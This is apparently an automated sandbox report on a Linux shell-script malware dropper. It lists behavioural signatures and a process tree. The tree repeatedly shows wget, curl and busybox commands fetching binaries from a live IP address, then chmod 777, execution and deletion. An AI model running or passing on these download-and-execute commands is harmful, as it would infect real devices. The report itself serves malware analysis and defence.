41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9

Analysis

max time kernel
49s
max time network
66s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/11/2024, 12:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9.sh
Size 10KB
Sample241117-prk6fazepe
SHA256 41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9
MD5 d6590a4c9ab711a76aa781d69b5d4bf4
SHA1 66ff1fb13c1968e9d9da1bec754948d01211e9db
SHA512 f2e0f89c6b4c7cad8bb078e0750ff33a13a5ab180363c94479942d08fc8420a2b146e6fec87b4182d85cac09dd910d867539652a835b62caeb4e857e4c209274
SSDEEP 192:YC99C2o1hPQjtAs0ff2nAe+83C2o1hPddAs0ffPe+X3:YC99C2o1hPQ7nAe+83C2o1hPke+X3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
803	chmod
888	chmod
672	chmod
684	chmod
768	chmod
920	chmod
708	chmod
815	chmod
902	chmod
835	chmod
894	chmod
847	chmod
876	chmod
908	chmod
809	chmod
856	chmod
864	chmod
882	chmod
791	chmod
823	chmod
829	chmod
735	chmod
797	chmod
914	chmod
870	chmod
746	chmod
785	chmod
841	chmod

Executes dropped EXE 28 IoCs

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 56 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
794	wget
796	busybox
799	rm
859	wget
860	curl
866	rm
795	curl
798	iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
863	busybox
865	iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D	curl
File opened for modification	/tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D	curl
File opened for modification	/tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p	curl
File opened for modification	/tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l	curl
File opened for modification	/tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW	curl
File opened for modification	/tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf	curl
File opened for modification	/tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr	curl
File opened for modification	/tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU	curl
File opened for modification	/tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh	curl
File opened for modification	/tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL	curl
File opened for modification	/tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l	curl
File opened for modification	/tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh	curl
File opened for modification	/tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12	curl
File opened for modification	/tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p	curl
File opened for modification	/tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg	curl
File opened for modification	/tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB	curl
File opened for modification	/tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2	curl
File opened for modification	/tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr	curl
File opened for modification	/tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB	curl
File opened for modification	/tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL	curl
File opened for modification	/tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12	curl
File opened for modification	/tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW	curl
File opened for modification	/tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg	curl
File opened for modification	/tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU	curl
File opened for modification	/tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf	curl
File opened for modification	/tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8	curl
File opened for modification	/tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2	curl
File opened for modification	/tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8	curl

/tmp/41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9.sh
/tmp/41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9.sh
1⤵
PID:641
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:644
- /usr/bin/wget
  wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:648
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:663
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:670
- /bin/chmod
  chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - Executes dropped EXE
  PID:673
- /bin/rm
  rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:674
- /usr/bin/wget
  wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:677
- /bin/chmod
  chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:686
- /usr/bin/wget
  wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:702
- /bin/chmod
  chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - Executes dropped EXE
  PID:710
- /bin/rm
  rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:729
- /bin/chmod
  chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:742
- /bin/chmod
  chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:764
- /bin/chmod
  chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:771
- /usr/bin/wget
  wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:784
- /bin/chmod
  chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:790
- /bin/chmod
  chmod 777 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  ./6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:793
- /usr/bin/wget
  wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:796
- /bin/chmod
  chmod 777 iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  ./iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:798
- /bin/rm
  rm iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:799
- /usr/bin/wget
  wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:802
- /bin/chmod
  chmod 777 na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  ./na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:805
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:808
- /bin/chmod
  chmod 777 ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  ./ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:814
- /bin/chmod
  chmod 777 2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  ./2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm 2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:822
- /bin/chmod
  chmod 777 iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  ./iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:825
- /usr/bin/wget
  wget http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:828
- /bin/chmod
  chmod 777 0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  ./0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm 0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:831
- /usr/bin/wget
  wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:834
- /bin/chmod
  chmod 777 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  ./6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
  2⤵
  PID:837
- /usr/bin/wget
  wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:840
- /bin/chmod
  chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
  2⤵
  PID:843
- /usr/bin/wget
  wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:846
- /bin/chmod
  chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
  2⤵
  PID:849
- /usr/bin/wget
  wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:855
- /bin/chmod
  chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:863
- /bin/chmod
  chmod 777 iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  ./iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:865
- /bin/rm
  rm iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:869
- /bin/chmod
  chmod 777 na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  ./na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
  2⤵
  PID:872
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:875
- /bin/chmod
  chmod 777 ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  ./ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  - Executes dropped EXE
  PID:877
